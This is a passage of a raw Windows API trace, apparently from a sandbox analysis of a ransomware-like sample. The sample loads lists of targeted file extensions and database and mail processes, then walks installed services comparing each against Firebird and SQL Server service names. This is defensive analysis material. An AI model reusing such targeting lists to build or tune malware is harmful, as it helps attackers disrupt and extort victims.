Flags=0x0, Ptr=0x677f30, Size=0x20) returned 0x69d6a0 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69dd38 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x677f00 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x69dcb8 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x677f30 [0145.434] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dcb8, Size=0x8) returned 0x69dd48 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14) returned 0x675298 [0145.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14) returned 0x675338 [0145.434] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0145.434] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x677d40 | out: hHeap=0x660000) returned 1 [0145.435] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x677fd8 [0145.437] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677fd8, Size=0x20) returned 0x69d6c8 [0145.437] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d6c8, Size=0x40) returned 0x6775a8 [0145.437] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6775a8, Size=0x80) returned 0x677d40 [0145.437] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677d40, Size=0x100) returned 0x677d40 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x677fd8 [0145.437] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677fd8, Size=0x20) returned 0x69d6c8 [0145.437] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d6c8, Size=0x40) returned 0x677950 [0145.437] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677950, Size=0x80) returned 0x678278 [0145.437] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x678278, Size=0x100) returned 0x678278 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x677fd8 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x69dcc8 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a29f0 [0145.437] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dcc8, Size=0x8) returned 0x69dc38 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14) returned 0x675118 [0145.437] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dc38, Size=0x10) returned 0x6a2a08 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18) returned 0x675058 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1a) returned 0x69d588 [0145.437] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2a08, Size=0x20) returned 0x69d718 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c) returned 0x69d740 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x16) returned 0x675078 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1a) returned 0x69d4e8 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6a2750 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x69dc88 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x6775a8 [0145.437] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dc88, Size=0x8) returned 0x69dcb8 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x3c) returned 0x677758 [0145.437] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dcb8, Size=0x10) returned 0x6a2960 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14) returned 0x675138 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18) returned 0x6751f8 [0145.437] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2960, Size=0x20) returned 0x69d880 [0145.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x24) returned 0x676140 [0145.438] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0145.438] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x677d40 | out: hHeap=0x660000) returned 1 [0145.438] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0145.438] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x678278 | out: hHeap=0x660000) returned 1 [0145.438] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69d6f0 [0145.652] EnumServicesStatusExW (in: hSCManager=0x69d6f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0145.653] GetLastError () returned 0xea [0145.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x6a4930 [0145.653] EnumServicesStatusExW (in: hSCManager=0x69d6f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6a4930, cbBufSize=0x1c30, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6a4930, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0145.654] CloseServiceHandle (hSCObject=0x69d6f0) returned 1 [0145.654] lstrlenW (lpString="Appinfo") returned 7 [0145.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0145.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0145.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0145.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0145.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0145.656] lstrlenW (lpString="AppXSvc") returned 7 [0145.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0145.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0145.656] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0145.656] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0145.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0145.656] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0145.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0145.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0145.656] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0145.656] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0145.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0145.656] lstrlenW (lpString="Audiosrv") returned 8 [0145.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0145.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0145.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0145.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0145.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0145.656] lstrlenW (lpString="BFE") returned 3 [0145.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0145.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0145.656] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0145.656] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0145.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0145.656] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0145.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0145.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0145.656] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0145.656] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0145.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0145.657] lstrlenW (lpString="CDPSvc") returned 6 [0145.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0145.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0145.657] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0145.657] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0145.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0145.657] lstrlenW (lpString="ClickToRunSvc") returned 13 [0145.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0145.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0145.657] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0145.657] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0145.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0145.657] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0145.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0145.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0145.657] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0145.657] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0145.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0145.657] lstrlenW (lpString="CryptSvc") returned 8 [0145.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0145.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0145.657] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0145.657] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0145.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0145.657] lstrlenW (lpString="DcomLaunch") returned 10 [0145.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0145.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0145.657] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0145.657] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0145.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0145.657] lstrlenW (lpString="DeviceAssociationService") returned 24 [0145.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0145.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0145.657] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0145.657] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0145.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0145.657] lstrlenW (lpString="Dhcp") returned 4 [0145.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0145.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0145.657] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0145.657] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0145.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0145.657] lstrlenW (lpString="Dnscache") returned 8 [0145.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0145.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0145.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0145.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0145.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0145.658] lstrlenW (lpString="DPS") returned 3 [0145.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0145.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0145.658] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0145.658] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0145.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0145.658] lstrlenW (lpString="DusmSvc") returned 7 [0145.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0145.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0145.658] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0145.658] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0145.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0145.658] lstrlenW (lpString="EventLog") returned 8 [0145.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0145.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0145.658] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0145.658] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0145.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0145.658] lstrlenW (lpString="EventSystem") returned 11 [0145.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0145.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0145.658] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0145.658] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0145.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0145.658] lstrlenW (lpString="FontCache") returned 9 [0145.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0145.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0145.658] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0145.658] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0145.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0145.658] lstrlenW (lpString="gpsvc") returned 5 [0145.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0145.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0145.658] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0145.658] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0145.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0145.658] lstrlenW (lpString="iphlpsvc") returned 8 [0145.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0145.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0145.658] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0145.658] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0145.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0145.659] lstrlenW (lpString="KeyIso") returned 6 [0145.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0145.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0145.659] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0145.659] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0145.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0145.659] lstrlenW (lpString="LanmanServer") returned 12 [0145.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0145.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0145.659] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0145.659] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0145.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0145.659] lstrlenW (lpString="LanmanWorkstation") returned 17 [0145.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0145.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0145.659] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0145.659] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0145.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0145.659] lstrlenW (lpString="lfsvc") returned 5 [0145.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0145.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0145.659] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0145.659] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0145.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0145.659] lstrlenW (lpString="lmhosts") returned 7 [0145.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0145.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0145.659] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0145.659] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0145.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0145.659] lstrlenW (lpString="LSM") returned 3 [0145.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0145.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0145.659] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0145.659] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0145.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0145.659] lstrlenW (lpString="MpsSvc") returned 6 [0145.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0145.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0145.659] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0145.659] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0145.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0145.659] lstrlenW (lpString="NcbService") returned 10 [0145.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0145.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0145.660] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0145.660] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0145.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0145.660] lstrlenW (lpString="netprofm") returned 8 [0145.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0145.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0145.660] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0145.660] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0145.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0145.660] lstrlenW (lpString="NgcSvc") returned 6 [0145.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0145.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0145.660] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0145.660] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0145.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0145.660] lstrlenW (lpString="NlaSvc") returned 6 [0145.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0145.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0145.660] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0145.660] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0145.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0145.660] lstrlenW (lpString="nsi") returned 3 [0145.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0145.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0145.660] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0145.660] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0145.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0145.660] lstrlenW (lpString="PcaSvc") returned 6 [0145.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0145.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0145.660] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0145.660] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0145.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0145.660] lstrlenW (lpString="PlugPlay") returned 8 [0145.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0145.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0145.660] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0145.660] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0145.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0145.660] lstrlenW (lpString="Power") returned 5 [0145.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0145.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0145.660] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0145.660] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0145.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0145.661] lstrlenW (lpString="ProfSvc") returned 7 [0145.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0145.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0145.661] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0145.661] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0145.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0145.817] lstrlenW (lpString="RpcEptMapper") returned 12 [0145.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0145.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0145.817] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0145.817] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0145.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0145.817] lstrlenW (lpString="RpcSs") returned 5 [0145.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0145.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0145.817] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0145.817] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0145.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0145.817] lstrlenW (lpString="SamSs") returned 5 [0145.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0145.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0145.817] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0145.817] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0145.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0145.817] lstrlenW (lpString="Schedule") returned 8 [0145.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0145.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0145.818] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0145.818] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0145.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0145.818] lstrlenW (lpString="SecurityHealthService") returned 21 [0145.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0145.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0145.818] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0145.818] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0145.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0145.818] lstrlenW (lpString="SENS") returned 4 [0145.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0145.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0145.818] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0145.818] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0145.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0145.818] lstrlenW (lpString="ShellHWDetection") returned 16 [0145.818] lstrcmpiW 